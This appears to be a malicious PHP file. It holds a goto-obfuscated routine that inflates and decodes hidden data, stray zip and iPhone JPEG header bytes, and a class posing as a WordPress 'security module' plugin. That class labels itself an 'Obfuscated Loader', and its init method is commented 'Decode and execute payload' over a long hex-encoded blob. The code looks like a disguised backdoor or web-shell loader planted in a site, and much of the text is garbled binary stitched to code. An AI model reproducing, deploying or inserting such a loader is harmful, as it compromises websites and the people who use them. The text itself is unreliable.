���;�lj�:if(!($����<�ߕ(0x001992,0x0000019bd,0x00196a)($����)))goto ��ڄ;goto �䓫;ц˚:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;�Ɖ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�֝:global $ה��;goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ɖ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;�Ǘ�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;��ś:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ν�;����:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ˤ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;Ν�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �֝�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ڱ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;ڒ��:global $��˯;goto ��;����:$����++;goto ��;��Lj:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ��ݿ;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �諯;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;Ŗ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ў��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��ݴ;��:global $���;goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �ڔ�;�葡:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto �ܓ�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;ˤ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;¨�:���:goto �lj�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto Ч��;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto Ν�;�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;ў��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;���:global $���;goto ڒ��;���:global $���;goto ����;�ݭ�:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��̼;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto ����;����:global $���;goto ���;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��˂;�̙�:return $����;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ���;蜨�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;�ַ�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ɡ·;�ܓ�:��:goto ����;��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ע��;����:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$����=gzinflate(�ߕ(0x00191a,0x000001940,0x0000018fa)($����));goto �Ǘ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�ڔ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:global $ה��;goto �ټ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:global $���;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��Ō;��Ō:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;栲�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;�֝�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;����:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ӽ��;�ڱ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ѷ�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��Lj;�ĝ�:$����=0;goto ¨�;����:$����[$����]=����(0x02463,0x0246d,0x002432)(����(0x0000249d,0x00002489)($����[$����])-0x001);goto ����;��:$ה��=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=pow(round($���),$ה��*0xab/($���+0xab)*M_PI);goto �ĝ�;Ķ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;�ծ:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ᝪ�;��:goto ���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto Ķ��;�Ө�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto �ݭ�;ݝ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 栲�;��̼:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ц˚;��˂:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ��ś;ӽ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ��;ðل:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ö��;���:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ݝ��;χ��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 蜨�;����:}goto �IJ�;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);PK �Fm\} ���@ �@ 21dew.phpnu �[��� ÿØÿà JFIF ,, AMPFÿá&ÿExif MM * ž ¤ ² º( 1 Â2 Ê< Þ ‡i ìˆ%
x
®Apple iPhone 13 Pro H H 17.1.2 2024:02:20 17:25:01 iPhone 13 Pro %‚š ®‚ ¶ˆ" ˆ' } 0232 ¾ Ò æ î ö‘ ’
þ’ ’
<?php
/* Legacy-Compatible Obfuscated Loader - ID:2366746 */
/*
Description: Enhanced security module
Version: 4.4.19
Plugin Name: SecurePluginllsQUfju55
*/
class LoaderlgGVyM29920 {
private function dcbvapKn13() {
$tmp = base64_decode('ZGF0YW95Y0lqVjEz');
return null;
}
private function gtwbAJnN24() {
// Gate piece 1
$jv3 = str_rot13('ebgbbBpa90');
return str_rot13('59xu');
}
public function pubyxBrq41() {
// Public method 1
if (87 > 50) {
$tmp = 'branch_a';
} else {
$tmp = 'branch_b';
}
$tmp = str_rot13('ebgNjkYa54');
return 'valaiCL30';
}
private function gtBpFZGg19() {
// Gate piece 3
$tmp = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return str_rot13('c2sz');
}
public static function init665() {
// Decode and execute payload
$hex_data = 'pYIOludjb47d5b7bda4897f50fca45241b12b8aca3ce822aa94a873b904002094302b104bffeab023b31b69cee9e99ef79a667de9e7ea316aada6bafb58ff471ecdbc014b073e6b01369fe345ae0be40a12c61408e1b281dc2fa8002589d32764a64b36f636a6cc9ae5ac7bcf0103b1d8af3e429aa0f113cf390a5ed9c5ea693f02236f3ed74457bf69c5923133e983f2c24e6d1030fa2a6481769b8cbc43e22fd6427797d8c1ebacb62037af50f1f9c1de1ceceddcf3835d74fd9c38238396bbb54881045c6c92375e9cd699f876cf48dc3d101031612080ebe0922420edf2cde3556c429d8d5076ef487e2720a3260b8b939a2f04cf0cc221797ed5d181f3de722119501768d5604d0499138a6188a3533e52e6f8fd26e691e3c562318914b548134368e0edd901536208551eed98fa6bf348d554ceb1f7945fc108db2a5107397e69ecb9c1dea49354759e551388d2df0752ee4778bcb09df553f0a6c62270a1e122ec82ca15f5cbecfd72c18c3cb288fc8d8cb9271b248c851fd7037e06d3063e3bd25f6807595c7e1e4d96793b564c7a794f6bd858c75547501e2532fe1ce01182485915b449b00f9a0f5382fe64830f57b83421a3274fbb6088171b0a4e0cb9d8923b369fd8a8bb4326afd9fc1a64016777c5c4d82243aeeb13ce0689b1716726673d287a809815d91d2bfb821693312c07619c0d177280ba4ee0b01f2fabc42544d2568f1353a1baba8dbf328a1bf08aaf6a1a091fdd4ada20bcb669d4c906108cc9dc28a1a3fa5811588e37a2d4ecfa8052eacb91f0bd78f1e8a9145a4b136c921ba1cdda8ce3c045c82a2c204b5bbb2a232485312ceaa50707e44a03202efd17d9ac172e69abdef54ce13d8358476d3405d647306db9300932a6f3a036eab4bca3a1e1b92c8877cc785bbb6aa9397464ee6b030a50d2fb264c41c8b22f25860f7212fd49faf22b20704328afa2271e0786137a1c1b672193dd4811589190655881ec6ad254b62c566222be2cd01935c2a53a15ce65b9171d3c5cb0b3bfb568ea09cd2e85c507ace361eac16a46ffaa8398e20ca2609247edcf4287dc82030e8de8e721663e0baa0e18c0364f705f3a2c937610468cd41e6ed7214c396b26e847094992e1c2d087c7d5e8ea28a49b00d84859d43cc4769bc298be8ec20b7730f1016732ea7468cfba7193e547fbe5f96d02e5b114a9f57bb6234db8169dad7e36843d637fba8be7b5510cdd2d3c80593557266f9ac6a53127718f27c653dd45edc9cbc326db9b36547284e21bf545f9d682f11929325311e63b2dfe24d96297bf2a8388e8535ad493c99464f2cb76c6158e7f647b8d9ef1d852f6ecc32461de258d7f378567692b14e5d0ab8ef5de12cb155ae3896cbbc71316dc44f58398046616d093742b199499bac660026109436ee84e73c9080d1ca2e092de79d3305ecb05fb09117d36aebc38315376e973f4dc4bc0ffd188a3902067037600fdb82858f466e3f95fe82b582f262c509d801c6be2c3820a1e465b9cd6b75aff60b51069cb69b909d80be7f6b49b6d1a30cec78df38dbea6bba0d7ad89a09ae4e6b111bb3e585a085d5da31e179b62970da3a8d7e5e21f33d6eab04564d8878ff2b8fa5596c4773bbcd3ab831fd9cf4d962979324c9ebfc52a5fafb89b8f433380d691f38b6d1970eaa2cf9d8f833d98942f43b568f0366e45cd987fa523914cd7ecf79b5b12ffb42d6b9cfba7d48a3608ecc69c49fd88a3ee668410c922804c0acd2df2f89eb2277c8c999d77515d149803b670339db2ec55e2e2ef985c0ba934f32483b36a7a00d93d80c3285bdb7f3a5be03eb90c69d44bc70d57dcee543e5ce4cb35cc9e9288570a5f04a7fbfabffa0dde428483f8e0141b17a1eae6a629f27276cf609bc9015490e3bd6743917c142e1699eefa837bf985e099b6cddf0bd278b84d6c2e5d0780eba29679dd8315819e44c947fcb71d47488e0718d09cce02387693c417346fcd7f3f0cfa567d5d98fb9383c85cc51fec8e0a0163e600652f6bbb49bfd7388ddfe8a0742627eee5cb271f616dcc7f656fae985ad31907e24c2343169b0d8911523ce7ccd1c33314efb58bde7ebef55fe23a2c6c11074dcb387e6286036019d4844e298c8800c9fe15444215a4048b9709e202f76411c606512ce8c76ace49383dd8e003d0794b6f039e344f9a38361f1fafa7e8293945e82c4c6a287b227b83b2de445cc325ab9521c8ad7efa7fd6f497b3083d32a7a043e6519c0dcdcb92c041aef1547d8c7164d436b8a95ff25909cfca856e7db36177dbe0b5207944d1cccc0c1bd0844aa83e736a63703b9c2538310a6ec17abf33032e5cf8593f3e9287ac88375d4f5ce66d28535cbc2849e67b5fcb962a2b19a2ee5a28090550542c0965dff94d64d568813cd6b857f46e9605e3c8470fc4d56ac93d2b8da5bdaed6350b941bacd0e5655653c36d308b1f5d20039ef29bde29f75fdbdb3a0858a7d0407d01aca1f49ed3f2abf3ea48970bb985453881a67c158aa7801492ef447048f81e21bd7fbcc934cddbfd086cccd973b815352ac1d9be6f36ed220f58e5cd0805dfdf9f4f7fbb15df5fbfb69fb8d1ab90697ba2048e473d630ce15df68f89ff380faf74e7e5872825fdfcfada616276e276856dbdbae49c0d146eaffc8243793ea08d9c3c4089ef47974d7f7d3f739df5401a927da7e4508a4b2df23838cb8eabeecd6b488a0f1c6bfe9fbfcfa7efa7cb7ee42e251e60b566260a41607bd7b9ecc145e657feef3f53cfed8afb13f272dfb622193d82cf0d4fb1d2d54b5b02de9e0fb5d7f6ff12334a99c57eafe914ee2ae0a016ab4fdada879d860d68f0491bb0fefa7f10537eb39ec77ca87091b1cd33062a690d52ce0c4cbe4a99617fe7cff7e2ff671368480d46748e35f58db86bb84b12cd358fab3be5dc04a3daf73026f63c4948f791207fafebdf9bdcdf757fb7db5374b084ae028c45178885bbe825bda27f164ee8256e301c635593b8865d69ffb7c7d9ebd3becaeefc78b4854d9530a2b7517dc3fe7118d4cbb71f716a65e844774d6b53b587518893e289f2846f1a1badd972bbe00ab1b65311dc501cb4b598d8dd46c46f06c3876f3c77fd0cb644acde612ca633867ee82b0bd031a3677cf06966db60a923657f6afcee3caaf28078aaf19d7efd745a6d1c1be0a6366e2a4e91a740e2ad8b889ba93dc46573ec4d2ddf8f4e7fe4d676edbe7f3f878b028bdda478c9be7602b153fcd7ac23bc50f1a70b33749607ca8bdf644c218b2e8a99d2bbe91a138b02cd0b3a5e21bd1fdef4d611de4b42e7739af535965ca7775e3dff7a5a787e241df17972a3c0da2edd4f72b53d22ad7fc8f28fdf134a3643d6b0fc10cb09de22a04b3518659b0855db8121ba51ca8398ecf592801f4785fbe3ccf892156ef9fd26401c60a523317b3a650784084b97f83f7adf2a38adfc9f67bc60f0a4f0d5f7dbf1a9e9b794a4c12e1e29b651dbf7bfdf4943c358056638b8a60a5ee0b088c50e61f9ed70450940470f610f24099d2f5fd468a77334b9010560426e969227b87713bc839527a06b81902b92d644b7275fe3684b824f7f64bebee1cc2baa05d674a7134fef6fd5e9e37fcfde8c453772924f88a7f755a037dbe17b2eddca8e9b16dd15f57fb6d4f3c7aeaca6453ad7d3ec913736ca792cfca345f816e9aa92ff687efdeec4d01f5d856c4d890863151c271955781f23b84e264dc2272c2f85ce4f4912e56f4e889b64c24cdc3c58e66565f92128e32ba699f7fe301e03b57f3a12a385b1c9a2826590a73acfe1089ecdc14550152dbc899d9d77ff08af9ce456949da7ab3a6974137fa16982fbf97d28dd38796a85b832a9e943cf602535746469f082b7f8e6a91ba7db602afcfe3631b697e75bed947d8c0407dffbda83855efbe1214ee668a8fffc1976a952a5744994b944f3f225ad230769368db7973c24ad8ef63c4cb7c91d025a8e46a051b6f454ebb188ea987142f79e4c115fffad24829dbe00df12c61da900b6663594be858ec91a3509efee033cc8a60cbd477297fbf1fab5ba4389532d2ceccdb57be511d159e02a5173ca030298dd8c86e4b12296d665950f197c2581a7ff05ef1fb95234e89e2a7e3981ed59d733fbedf077f09237b437df9448315e997362c906dfc891f78f14d6f658a1fd1aa995fe307c6418a7a14097583fc2dc8527064b80a3cc5af9e80398e6ef65bfbc103b9dcce1714f3adf4707fe5bbc1bc2a9e2cb34ba3be0815e979f6bbbeb48dd1593f0faa174a498bc3b3d1056c32f76d73affef969cd272310854af3fce1577f7eefe4448949355f20e078f6eb29e2dd64a7ecc320979e5a728a1939ad4bd24d14bfff96d9ac94dbd1da6107456115deb0639a3ff51ee5f0ea8f4a36faa6b441ead7cce784ef726522b31dcc0373a4bed63113601ff27ec469277e41739a400cb88d1dcb2722b7eff079329f8936f04830b15be04486d203dc7c5e90208a95de7ae3df1417ae383ad77564f759b4553616779e5b5539e54ab2558a989da5f3db1ff1fc95afd5cbf6ea7f93044eaa4818ed551f35ee6f7f14b7d3c8def6498a5cbf14fde6958fdff881029bbe58cf949e89cc1ec502006696b52f8c826079a1fd44f13aa565841b32d062f940364affeaef97dff86997b32a074c4167964c43d9435298fbf53a798b2f6d1d34ea7930d4cfdbe8e7c57f9e77fcf0bc3ad4cfcbf4f31857cf33d4f38c6e12f52552dc5dd9c8a95e1aa64d489e077dfd5b2f30d8ebe7fd8a79c7aca720b52f3cc89b53ca5ecfa3eeb9d2332ffce0f80b1847002a46b8c2171f4cadb4135d54579d652902d48310124940f3c2c7af7a8b20bfe9145353fea8073a7e604a63825dc3f45762f2cb923a24330eec577b7bc35f625e2cdef8b7dffaed050fb0adf47b7036569adf87662de6319bdaca3ee680e4a83efcca596f27ac1d59bc3bc34d1f50e5cbb9395ea48fe58e75cdddf7fbc3ffd409c21215e4543af5a8b1604b52e54bd43dfb1154938888deb0a831b12e9d7a18e1b8a2411ab3c612e5d27e321849097be5e37feecb2b7f56fe8d1c01ed9d156adb8dd2834a526415f88cef6e9a8ffc74db7b4266abd024d92a1a75d8ec24ed46583fcffd601f6f9ed7d20c22c8e486cd8adff8f2e7fd345efde193057f8d9f46bb97e719affe7704711c5c2074a4179f848c01f5495fd82c238a8fabf39d7a29ad5625ad6701701a2c8f2e6c64ba4883efbfe39329e860d4819408482a304f22a7517c1ce347262cd87db12e55ee9e73dbdf90af8807cfe4a9f9099ee057e5c3a1f3585ee3259c92e7a06e5366b85dbeab5633d83dda5591a0aef86e47c1091b79a48e855976192e80f4141f8a75bc8456a371beeb43d7ec15a3a926481adf501db8881d6a5b7d3f7dbe821c6768bb5f25b0f7d945b19e5ac8804b82953e4ace62e6e390119679b61134f7fc6f72445200da398ec6bf42fed6bfa612fa5432607353f9f3f4773ce2e57cfb35aa09c24c21d4ae9d2d93a2850fe6b6acab937a98a59f37ebc1d9052524b8341272eae3b3e207a0f6dedb878d8437ab4e05b9f1d37cf5400a611eb122544188af7cf71fe3614952d7fed3a9f5fbf25476c1f91a6f8f1cd38fc103b52851f21a3bb4972b0a5ff1f42e7e70d333377f4e3a23b13781396b430c9e982283fd2bdf9dc5f0b7fefd631fd0c0a01a01c0cdd3a2bd8f1f5cef5f37f1e9c5d943524642beeafdfbf8cbf579f8ee3e53d0b6bf000be142913929157fbe7461d43916b9741447e33debdddf7afa0dbfbac6638bc621330a9359131e2d5aa510389922b6674f044bdad33b3c7d63bf31de529946eabe9022faad3fdee0814f8e2740f680f5fdab3f7aa7dfa40d98a1e3612de3cdd0fb9157bef1e2dff6eafe25b0bada87e5e9f87317687fdeaafbec2bbe76817515dcc73bff3ccf8219c8b7071dcf7e731ebfcf77e3c171cad9b192cda197bb0aa5d05596d0d8587d6b60f0c839c322da82b5db8f3b651fea638024b4dacf9e77fdbd099b6cad646f206caca2aa936053854abf6dec56194a6f86691428fd162adf57c498672bc577aff1e7156c7f28fb9ddacd5e716e678fd971ebd4e392f3a08ca5b145db0e47e6340f5171f27843dd246fd863f589debfbd1fe8463f2d714c942dba3e33b64177b2d4c7bc7b9e028a938e03f8f6a99d31f0d9f3aef1f6a1df4b1f3ec3679e293d9d2597d6cf48cdfe7c3fe233fe121f22ee9e7e163fb8f1a117be7b8d172f2436bd35aef28c884fe239efde2f3a80a41a4da31e2abc220a9feb122811ee693dbdbbe96992d6ffe0df3885d5710d6433fd188f781f2fe1e3389ed80e73a3f825beb6789c84d2084681ac0560fb09843488da4fede33efef7ee3eabdf36802f77fc6ff0fbcd6276c4ed89b22718265110f8bcbee52b8499cf455f7dfafd149f14dd64942ad0c30fa1fd921fbc8f0fe9f783240760229060e8ce7e3f3c6f2c64158c52da7f63765807c640bcc926c9c7f328d2921e72975555ac3cacd5319702e3d9af5844bae9d412a1d20243e7c1ca740b900bda326eeafb78ecf5fd8e6616877fde8f17bff5d66b7ce8953f0393a5eafb95696ccce6ea795c9a764a3e7cbf2368338e2a4261aff014c8829aa5613d76063c1bcabf51ccba0a2afc33b1a9fe56e18b4c9b2c132374c7c7db51a03c631176fb5af94bc8cc36901ff4ea0bdfed1c1f4713a5b7a8bacf66a2f41b2d45b7e4e258636648a51798f26f412895bd81691d57bff329f77ce8228354d906a8044a94dec734d4f1b5d2b2a6feeaad9ed9bdc477c5c99bd70db5cd314d9b72e6d4958e4724b41f7db7e4cbef257ff03e6a4f185f1a1e3dd6ee6fbea6eff34bbe6cd56799c5f63b449599742247d0ddb94cd28465dfd5437bbeabea25ce1ef97954278c11a5075bff913fae58b1c167f3e4a3eef09a6f4c0c9607c26065cc32e761dfcf0898112e4e76352e196023d936660c2555f786f24ea448f97356e7fb597dfab1048760d6b5120010230676fe45cc5383878883ac34cc3d14fb6fa0162bc8a0ce1f6d56b801593d517a9fb9494d2c7051b4240a8e16973fd8e39bf806dbc398740b6f03729654739f42dfe575153d040139672bd893e7b09bc8bb7ce8ed3e03709ef42e0d178a4f12cbce329fc102d60542f8b8f6cfc69c257558c2227399d3224e0366b401338b8907f712dff367db660a14aef95fc78b362588ba91c683dd95ffe163e95f42748de7d8a66268237f66678fb3ade6578d4dcea7dd0ad706ed6b9344a4283b3653a670c7d7eee21b0460ff42b5de27811865a87346be385aa81b290a7bcb87be89bfd0d4903eebb31025a7af50b811b4bb926daba505cc108ba91d56860b2f819bb4a322600122db26f413a362fd2998d7e001c09aa75db04981fbd385a3c3e2e2f4feb6aa85954f643749e7557e5cdfc523fee07dd0e65e08f63f216c359f9c78e77d6435261455d6278dc2bfbea03103334a149f8c8a7354e72b7b4bc5dff4d1effcd145c737e86e4d0e4456d934954d8beb6b7c57f3f1c7391491f3688e83345cc451a084b61bceaa6266374193efa65ef9341a91f470b4b70d0f1ef65570cebeb891e112635f50633455fe7cc29e3ec353fa92cf7bff7e2d0f8dd39ffcd12d1f1021759e961c75f072740911000187115419f8537d493fe143cdb36bec178a6f3fe5ed6804cf26b13941941da1e23d95ddee571fe2611ffcefe40c45eba4ca8cc135de3951d2626446e6c4b06ff1f139ef4654d9efb3ceaf0ef8b74ffd91259badcfdb34ad7a83a4d5c882852360a9ee5f45d19934f68d1ffcb3fe55fc1e5547979aedf78cf19491bd95d26363c5471a77e007e99ac4c2ce2fcbd6f1d33c8bf128cfac8ff7effdfba1baebb3b84e259ceca2963ce1aaa34a6202d20589f2b52636a07abf934f6cb1f6f8780560f1a8f8155fecc8489a6ced3607ee2adb86e20800d4313b300fd914c87af43deadc9f3310b48b78ffe4e1ea515887bb7cf2e07958a732a847df6c13c47033ca003baafb22c1ba1ef5bafe05e243022ed94ed9cdf77937896749f6d97db93eeff3fcd60d0feef233eff90638e89a0a0b77bdce0f0689799cbb7d9b3bcde978ad7ff924fef2fe79f1567918ccbe7bbce65c8eed48dd756fc36d4cc1dcd1bf17141916461819e3dff5577f795eacf8ae4c2281e6557bbd7f316d15bf06b934aff502ec1d1e3c6742f117222f16cf7b0b1bb3a8263c362a44d0beb9e9cb2a8fce2257fc257daf17d6bc890b79f83cfff6e6fd4ad2d7837cf20fbfc241ddb09219b50ee6a46cb4762030167fd7831fe25754e1b3e2bbbe6c83e76bbc134d6abba6903007406628ff36dda8fb3721e053bef6e779aff1fb07c25feb0f06f5c79bdf6bf389470dbab090d3faf4b4c48f9de27f95edc77d46d8c957fec877ce86327be53f6ef9b77ff5fd3ee5e3b7f85afad9fbcdad8f7ccddabde467de3c6f005f667e0b9d35153f819250b099d274e03edfc5ef6ffa83a73198fb7cc4d90638a0068587a59d37a385f29759008feaf2010bd401457d799875212224bcafb7b83e2f3b60338cf139e376ef10b75664a32f3d0f185eb819e58911e09959a042e9198b56ca9fef5d5499d38cf5cba49b7c4ba830e4eee05be284affe5cf176681629b7d9ca7acad150bcee4d7de20e03a55d79715ea23c4d985109e6f6b15523eb96ef4e8972468aaf85e0cc0fcade7026c43d7fbef937edcf5ff060ead88a1fa83b60a5c6e0ef858aee2cc1e510293ce50eefffd473bdd75bb42b511ddee38190bde27feb9488dff1f637e7abce63ec2b0dfec3eec27cf540c38238d6bc6f8b79ddedd4f91268141ee4e0870b460e3d37df63cacce89ce158084059437114d6849eece88a573cb8ff7e7feedf67f1175be97d2b2a5625cc888ed7a5153360dba4787b9ac9ad413c1dbcef9c99f22ee5da225d62143fddf6c066d038c5b45036a5f0eacaef4f2ce9a697dff15d5eff5a727a288c937fd5475bd38b2e6cadf4fe2e8c3a6386a72b0f81223195ddd16e8dd54d8ac95febb92e1e9e74ce8e3c2383af702cc334cd1e7eff5e60acf35df343f17b33a0d05b89c9048b238275b0c7ecf4bc20079d9f79636f6412a2e6d1ab2633d76a9438a57eb465748ec312430a74014fbe2dfcb41dcd4261962ffa1cea7a3dd07767c84270ad67edffaab79205394d312408f7200971ed0939f167edb80cc55169a1bd056bb60655f7c3e7c11f3e7e91b57aeeaf65427fc95d5bcf449e400cb3682b7dbf92129020b24195b867e94922e88cb72004a2b6a4e2183da09a4fbead1f8acec7550a58aaf36f4904f6643b99828b93135c654acf84ca7f8cbc8d6182dee9a9247846fb27171e1b605690e303e5745a297d7e2aa2205b5b472f46231ddf9d90ba73e8a668e3647a8c63fdfd46f9f242724ec78b189303aa463fcb5df50c77a727fbcc52ef091cdcb7feb7bbe57f43306acb08747372bcfab7509436dc9eb2d4ce1e88712a684f9c2bdf7dea53c5b5bf425b3